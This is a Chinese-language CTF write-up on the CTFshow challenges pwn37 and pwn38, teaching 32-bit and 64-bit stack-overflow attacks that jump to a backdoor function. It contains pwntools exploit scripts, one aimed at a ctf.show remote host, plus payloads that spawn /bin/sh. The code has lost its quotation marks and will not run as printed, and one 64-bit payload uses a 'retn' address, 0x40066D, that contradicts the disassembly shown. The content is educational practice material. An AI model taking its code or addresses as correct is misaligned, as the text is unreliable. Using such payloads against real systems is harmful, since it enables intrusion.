CTFshow PWN入门实战:从pwn37到pwn38,手把手教你搞定32位和64位栈溢出后门函数 CTFshow PWN入门实战32位与64位栈溢出后门函数利用全解析在CTF竞赛中PWN题型往往是最能体现二进制安全实战能力的环节。对于初学者而言掌握栈溢出基础和后门函数利用是打开PWN大门的钥匙。本文将以CTFshow平台的pwn3732位和pwn3864位两道典型题目为例带你从零开始构建完整的解题思路。1. 栈溢出基础与后门函数原理栈溢出漏洞的本质是程序对用户输入长度缺乏有效校验导致数据覆盖了栈上的关键信息。当攻击者精心构造输入覆盖返回地址时就能劫持程序执行流程。而后门函数则是开发者有意或无意留下的捷径——通常包含直接获取系统权限的代码片段。关键概念对比特性32位程序64位程序寄存器架构eip/esp/ebprip/rsp/rbp函数调用约定参数通过栈传递前六个参数通过寄存器传递返回地址覆盖覆盖4字节eip覆盖8字节rip典型栈结构[局部变量][ebp][eip][局部变量][rbp][rip]在实战中我们需要重点关注三个核心步骤确定溢出点偏移量定位后门函数地址构造符合架构特性的payload2. pwn37解题详解32位栈溢出实战2.1 程序分析与漏洞定位首先使用checksec检查程序保护机制checksec pwn37 [*] /tmp/pwn37 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键发现32位架构i386未启用栈保护No canary未启用地址随机化No PIE使用IDA Pro反编译后在main函数中发现调用了ctfshow()函数。跟进该函数可见明显的栈溢出漏洞char buf[10]; // 实际缓冲区大小可能更大 gets(buf); // 危险函数不检查输入长度2.2 偏移量计算与后门定位通过IDA的栈帧分析确定buf到返回地址的偏移为0x12局部变量 4ebp 22字节。使用ShiftF12查找字符串发现存在/bin/sh进一步分析找到后门函数void backdoor() { system(/bin/sh); }函数地址为0x8048521这就是我们需要跳转的目标。2.3 构造并发送payload32位payload构造相对简单只需覆盖返回地址即可from pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28146) payload bA*22 p32(0x8048521) p.sendline(payload) p.interactive()关键点说明bA*22填充缓冲区到返回地址前p32()将地址打包为小端序32位格式连接后直接获得shell可执行任意命令3. pwn38深度解析64位栈溢出特殊处理3.1 64位程序特性分析检查程序基本信息checksec pwn38 [*] /tmp/pwn38 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)与32位的主要差异使用RIP而非EIP8字节地址函数调用时前六个参数通过寄存器传递需要保持栈对齐16字节边界3.2 堆栈平衡问题解析64位环境下直接跳转后门函数可能导致崩溃因为system函数需要栈对齐。解决方案是增加一个ret指令调整栈指针.text:0000000000400657 backdoor proc near .text:0000000000400657 push rbp .text:0000000000400658 mov rbp, rsp .text:000000000040065B lea rdi, command ; /bin/sh .text:0000000000400662 call system .text:0000000000400667 pop rbp .text:0000000000400668 retn可选方案跳转到0x40065Blea rdi指令处跳转到0x40066D函数末尾retn3.3 两种payload构造方案方案一使用中间指令地址payload bA*(0xA8) p64(0x40065B) p64(0x400657)方案二使用函数末尾retnpayload bA*(0xA8) p64(0x40066D) p64(0x400657)两种方案都能确保执行system时栈指针正确对齐。实际测试中第一种方案成功率更高因为避免了可能的多余栈操作。4. 从题目到方法论通用解题框架基于这两道题我们可以总结出栈溢出后门利用的通用流程程序检查阶段使用checksec确认保护机制file命令确认架构位数strings查找可疑字符串静态分析阶段IDA/Ghidra反编译定位漏洞点计算精确偏移量gdb调试验证搜索后门函数/敏感字符串payload构造阶段32位偏移 后门地址64位偏移 栈调整gadget 后门地址考虑添加nop sled提高稳定性动态调试技巧gdb-peda的pattern create/offset在关键地址下断点b *0x400657观察寄存器状态info registers对于想进一步深入的学习者建议在本地用gdb调试这两种payload观察执行过程中栈和寄存器的变化差异。比如在64位环境下可以重点关注rdi寄存器的赋值时机和rsp的对齐状态。